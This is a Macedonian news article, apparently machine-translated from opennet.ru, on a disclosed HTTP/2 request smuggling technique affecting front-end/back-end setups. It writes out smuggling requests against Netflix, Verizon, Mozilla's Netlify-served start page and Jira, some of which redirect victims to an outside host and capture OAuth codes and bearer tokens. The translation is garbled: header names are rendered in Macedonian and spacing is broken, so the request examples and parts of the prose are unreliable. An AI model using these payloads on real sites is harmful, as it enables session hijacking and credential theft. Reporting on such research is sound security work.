Нов напад на преден-заден систем кој ви овозможува да се вклопите во барањата

Веб-системи во кои предниот крај прифаќа врски преку HTTP/2 и ги пренесува до задниот дел преку HTTP/1.1 се изложени на нова варијанта на нападот „HTTP Request Smuggling“, кој овозможува, со испраќање специјално дизајнирани барања на клиентите, до клин во содржината на барањата од други корисници обработени во истиот тек помеѓу предниот дел и задниот дел. Нападот може да се користи за вметнување злонамерен JavaScript код во сесија со легитимна веб-локација, заобиколување на системите за ограничување на пристапот и пресретнување на параметрите за автентикација.

Проблемот влијае на веб-прокси-те, балансерите на оптоварување, веб-акцелераторите, системите за испорака на содржина и другите конфигурации во кои барањата се пренасочуваат на начин од предниот дел до задниот дел. Авторот на студијата ја демонстрирал можноста за напад на системите на Netflix, Verizon, Bitbucket, Netlify CDN и Atlassian и добил 56 илјади долари наградни програми за идентификување на ранливости. Проблемот е потврден и во производите на F5 Networks. Проблемот делумно влијае на mod_proxy во серверот Apache http (CVE-2021-33193), се очекува поправка во верзијата 2.4.49 (програмерите беа известени за проблемот на почетокот на мај и добија 3 месеци да го поправат). Во nginx, можноста истовремено да се специфицираат заглавијата „Должина на содржина“ и „Кондирање на пренос“ беше блокирана во последното издание (1.21.1). Алатките за напад веќе се вклучени во пакетот алатки Burp и се достапни во форма на екстензијата Turbo Intruder.

Принципот на работа на новиот метод за вметнување барања во сообраќајот е сличен на ранливоста идентификувана од истиот истражувач пред две години, но ограничена на предните делови кои прифаќаат барања преку HTTP/1.1. Да потсетиме дека во шемата frontend-backend, барањата на клиентите се примаат од дополнителен јазол - предниот дел, кој воспоставува долготрајна TCP врска со задниот дел, која директно ги обработува барањата. Преку оваа заедничка врска, обично се пренесуваат барања од различни корисници, кои го следат синџирот еден по друг, разделени со помош на протоколот HTTP.

Класичниот напад „HTTP Request Smuggling“ се заснова на фактот дека предните и задни делови ја толкуваат употребата на заглавијата на HTTP „Content-Length“ (ја одредува вкупната големина на податоците во барањето) и „Transfer-Encoding: chunked“ (дозволува податоците да се пренесуваат во делови) поинаку. . На пример, ако предниот дел поддржува само „Content-Length“, но го игнорира „Transfer-Encoding: chunked“, тогаш напаѓачот може да испрати барање што ги содржи и заглавијата „Content-Length“ и „Transfer-Encoding: chunked“, но големината е „Содржина-должина“ не се совпаѓа со големината на исечениот синџир. Во овој случај, предниот дел ќе го обработи и пренасочува барањето во согласност со „Content-Length“, а заднината ќе чека да се заврши блокот врз основа на „Трансфер-енкодирање: исечено“ и преостанатата опашка од барањето на напаѓачот ќе да биде на почетокот на туѓото барање пренесено следно.

За разлика од текстуалниот протокол HTTP/1.1, кој се анализира на ниво на линија, HTTP/2 е бинарен протокол и манипулира со блокови на податоци со однапред одредена големина. Сепак, HTTP/2 користи псевдо-заглавија кои одговараат на редовните HTTP заглавија. Во случај на интеракција со задниот дел преку протоколот HTTP/1.1, предниот дел ги преведува овие псевдо-заглавија во слични HTTP заглавија HTTP/1.1. Проблемот е што задниот дел донесува одлуки за парсирање на преносот врз основа на заглавијата на HTTP поставени од предниот дел, без да има информации за параметрите на оригиналното барање.

Особено, вредностите „должина на содржина“ и „кодирање на пренос“ можат да се пренесат во форма на псевдо-заглавија, и покрај фактот што тие не се користат во HTTP/2, бидејќи големината на сите податоци е одредена во посебно поле. Меѓутоа, за време на процесот на конвертирање на барање HTTP/2 во HTTP/1.1, овие заглавија се пренесуваат и може да го збунат задниот дел. Постојат две главни варијанти на напад: H2.TE и H2.CL, во кои задниот дел е доведен во заблуда поради неправилно кодирање за пренос или вредност на должината на содржината што не одговара на вистинската големина на телото на барањето добиено од фронтендот преку Протокол HTTP/2.

Нов напад на преден-заден систем кој ви овозможува да се вклопите во барањата

Пример за напад H2.CL е да се наведе погрешна големина во псевдо-заглавието со должина на содржината кога се испраќа барање HTTP/2 до Netflix. Ова барање доведува до додавање на слично HTTP заглавие Content-Length при пристап до заднината преку HTTP/1.1, но бидејќи големината во Content-Length е наведена помала од вистинската, дел од податоците во опашката се обработуваат како почеток на следното барање.

На пример, побарајте HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Домаќин: 02.rs?x.netflix.com Foo: bar

Ќе резултира со испраќање барање до задниот дел: POST /n HTTP/1.1 Домаќин: www.netflix.com Должина на содржина: 4 abcdGET /n HTTP/1.1 Домаќин: 02.rs?x.netflix.com Foo: bar

Бидејќи Content-Length има вредност од 4, задниот дел ќе прифати само „abcd“ како тело на барањето, а остатокот од „GET /n HTTP/1.1...“ ќе се обработи како почеток на следното барање поврзани со друг корисник. Соодветно на тоа, потокот ќе стане десинхронизиран и како одговор на следното барање, резултатот од обработката на барањето за кукла ќе биде издаден. Во случајот на Netflix, наведувањето хост од трета страна во заглавието „Домаќин:“ во лажно барање резултираше со тоа што клиентот го врати одговорот „Локација: https://02.rs?x.netflix.com/n“ и дозволи произволна содржина да се испраќа до клиентот, вклучително и Стартувај го вашиот JavaScript код во контекст на страницата Netflix.

Втората опција за напад (H2.TE) вклучува замена на насловот „Transfer-Encoding: chunked“. Употребата на псевдо-заглавјето за кодирање на пренос во HTTP/2 е забранета со спецификацијата и барањата со него се пропишани да се третираат како неточни. И покрај ова, некои имплементации на предниот дел не го земаат предвид ова барање и дозволуваат употреба на псевдо-заглавие со кодирање трансфер во HTTP/2, кое се претвора во слично HTTP заглавие. Ако има заглавие „Transfer-Encoding“, задниот дел може да го земе како повисок приоритет и да ги анализира податоците дел по дел во режим „разделен“ користејќи блокови со различни големини во формат „{size}\r\n{block }\r\n{големина} \r\n{блок}\r\n0“, и покрај почетната поделба по вкупната големина.

Присуството на таков јаз беше докажано со примерот на Verizon. Проблемот се однесуваше на порталот за автентикација и системот за управување со содржина, кој исто така се користи на сајтови како што се Huffington Post и Engadget. На пример, барањето на клиентот преку HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com шифрирање на трансферот е исечено 0 GET /oops HTTP/1.1 Домаќин: psres.net Содржина-должина: 10 x=

Резултираше со испраќање барање HTTP/1.1 до задниот дел: POST /identity/XUI HTTP/1.1 Домаќин: id.b2b.oath.com Должина на содржина: 66 Пренос-кодирање: исечено 0 GET /упс HTTP/1.1 Домаќин: psres. нето содржина- Должина: 10x=

Заднината, пак, го игнорираше заглавието „Содржина-должина“ и изврши разделување во тек врз основа на „Пренесување-енкодирање: распарчено“. Во пракса, нападот овозможи да се пренасочат барањата на корисниците на нивната веб-локација, вклучително и пресретнување на барања поврзани со автентикација на OAuth, чии параметри беа прикажани во заглавието на Referer, како и симулирање на сесија за автентикација и активирање на системот на корисникот за испраќање ингеренции на домаќинот на напаѓачот. GET /b2blanding/show/oops HTTP/1.1 Домаќин: psres.net Референт: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Домаќин: psres.net Овластување: Носител eyJhcGwiOiJIUzI1GCI1

За да се нападнат имплементациите на HTTP/2 кои не дозволуваат да се специфицира псевдо-заглавието за кодирање за пренос, предложен е друг метод кој вклучува замена на заглавието „Transfer-Encoding“ со негово прикачување на други псевдо-заглавија одделени со знак од нова линија ( кога се претвора во HTTP/1.1 во овој случај создава две посебни HTTP заглавија).

На пример, Atlassian Jira и Netlify CDN (кои се користат за опслужување на почетната страница на Mozilla во Firefox) беа погодени од овој проблем. Поточно, барањето HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n шифрирање на трансфер: скршен 0\r\n \r\n GET / HTTP/1.1\r\n Домаќин : evil-netlify-domain\r\n Должина на содржина: 5\r\n \r\nx=

резултираше со испраќање барање за HTTP/1.1 POST / HTTP/1.1 до задниот дел\r\n Домаќин: start.mozilla.org\r\n Фоо: b\r\n Кодирање за пренос: исечено\r\n Должина на содржина : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Домаќин: evil-netlify-domain\r\n Должина на содржина: 5\r\n \r \nx=

Друга опција за замена на заглавието „Transfer-Encoding“ беше да се прикачи на името на друг псевдо-заглавие или на линија со метод на барање. На пример, при пристап до Atlassian Jira, името на псевдо-заглавието „foo: bar\r\ntransfer-encoding“ со вредноста „chunked“ предизвика да се додадат HTTP заглавијата „foo: bar“ и „transfer-encoding: chunked“ , и наведувајќи ја вредноста на псевдо-заглавјето „:method“ „GET / HTTP/1.1\r\nКодирање на пренос: разделено“ беше преведено во „GET / HTTP/1.1\r\nкодирање за пренос: разделено“.

Истражувачот кој го идентификуваше проблемот, исто така, предложи техника за тунелирање на барања за напад на предните делови, во која секоја IP адреса воспоставува посебна врска со задниот дел и сообраќајот од различни корисници не се меша. Предложената техника не дозволува мешање во барањата од други корисници, но овозможува да се труе споделен кеш што влијае на обработката на други барања и овозможува замена на внатрешни HTTP заглавија што се користат за пренос на информации за услугата од предниот дел на задниот дел ( на пример, при проверка на автентичноста на предната страна во Ваквите заглавија може да пренесат информации за тековниот корисник до задниот дел). Како пример за примена на методот во пракса, користејќи труење со кеш, беше можно да се стекне контрола над страниците во услугата Bitbucket.

Извор: opennet.ru

Додадете коментар